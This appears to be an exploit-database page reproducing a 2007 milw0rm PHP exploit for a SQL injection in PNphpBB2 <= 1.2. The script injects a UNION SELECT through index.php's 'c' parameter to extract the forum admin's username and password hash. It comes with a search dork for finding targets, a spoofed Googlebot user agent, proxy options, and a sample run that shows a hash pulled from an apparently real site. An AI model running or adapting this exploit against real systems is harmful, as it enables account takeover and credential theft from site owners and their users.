Lucene search
K

PNphpBB2 <= 1.2 - (index.php c) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

PNphpBB2 <= 1.2 Remote SQL Injection Exploi

Code

                                                &#60;?/*
Exploit Name:
PNphpBB2 &#60;= 1.2 Remote SQL Injection Exploit

Autor: Kacper
Contact: [email protected]
Homepage: http://www.rahim.webd.pl/
Kacper Hacking & Security Blog: http://kacper.bblog.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)

//dork: inurl:&#34;index.php?name=PNphpBB2&#34;

script homepage/download/demo: http://www.pnphpbb.com/


########################### START ##############################
Microsoft Windows XP [Wersja 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 

C:\Documents and Settings\h4ck3r&#62;C:\usr\php\php.exe c:\php.php 
Content-type: text/html 
X-Powered-By: PHP/4.3.9 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
Usage: php c:\php.php host path OPTIONS 
host: target server (ip/hostname) 
path: PNphpBB2 path 
Options: 
-p[port]: specify a port other than 80 
-P[ip:port]: specify a proxy 
-X[prefix]: database prefix 
-u[user_id]: user id from forum PNphpBB2 
Example: 
php c:\php.php 127.0.0.1 /PNphpBB2/ 
php c:\php.php 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

C:\Documents and Settings\h4ck3r&#62;C:\usr\php\php.exe c:\php.php www.prawobrzeze.org / -Xnuke
Content-type: text/html 
X-Powered-By: PHP/4.3.9 

Prefix -&#62; nuke 
+++++++++++++++++++++++++++++++++++++++++++++++++ 
Admin Password: 1be49aa89a83537aa59bc6fe8b80f255 
Admin Username: Finki

########################## THE END #############################

you only must now prefix :)

*/
if ($argc&#60;3) {
print_r(&#39;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:       target server (ip/hostname)
path:       PNphpBB2 path
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -X[prefix]:  database prefix
 -u[user_id]: user id from forum PNphpBB2
Example:
php &#39;.$argv[0].&#39; 127.0.0.1 /PNphpBB2/
php &#39;.$argv[0].&#39; 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
&#39;);
die;
}
error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);
function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function wyslijpakiet($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=&#34;pn&#34;;
$user_id=&#34;2&#34;;
$port=80;
$proxy=&#34;&#34;;
for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-X&#34;)
{
  $prefix=str_replace(&#34;-X&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-u&#34;)
{
  $user_id=str_replace(&#34;-u&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {die(&#34;Bad path!&#34;);}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
function char_convert($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}
if($prefix==&#34;pn&#34;){print &#34;Default Prefix -&#62; &#34;.$prefix.&#34;\r\n&#34;;}
print &#34;Prefix -&#62; &#34;.$prefix.&#34;\r\n&#34;;
print &#34;+++++++++++++++++++++++++++++++++++++++++++++++++\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(&#34;.char_convert(&#34;&#60;DEVIL_TEAM-[&#34;).&#34;,user_password,&#34;.char_convert(&#34;]-Kacper&#62;&#34;).&#34;),2,3,4/**/FROM/**/&#34;.$prefix.&#34;_phpbb_users/**/WHERE/**/user_id=&#34;.$user_id.&#34;/* HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;index.php\r\n&#34;;
$packet.=&#34;Accept-Language: pl\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&#34;&#60;DEVIL_TEAM-[&#34;,$html);
$t2=explode(&#34;]-Kacper&#62;&#34;,$t[1]);
$pass=$t2[0];
echo &#34;Admin Password: &#34;.$pass.&#34;\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(&#34;.char_convert(&#34;&#60;DEVIL_TEAM-[&#34;).&#34;,username,&#34;.char_convert(&#34;]-Kacper&#62;&#34;).&#34;),2,3,4/**/FROM/**/&#34;.$prefix.&#34;_phpbb_users/**/WHERE/**/user_id=&#34;.$user_id.&#34;/* HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;category.php\r\n&#34;;
$packet.=&#34;Accept-Language: pl\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
wyslijpakiet($packet);
sleep(3);
$t=explode(&#34;&#60;DEVIL_TEAM-[&#34;,$html);
$t2=explode(&#34;]-Kacper&#62;&#34;,$t[1]);
$nick=$t2[0];
echo &#34;Admin Username: &#34;.$nick.&#34;\r\n&#34;;
if($pass==&#34;&#34;){echo &#34;exploit failed, check prefix !!!!!!!!!! (index.php?name=PNphpBB2&file=index&c=&#39;1)\r\n&#34;;
echo &#34;Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n&#34;;}
?&#62;

# milw0rm.com [2007-06-03]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation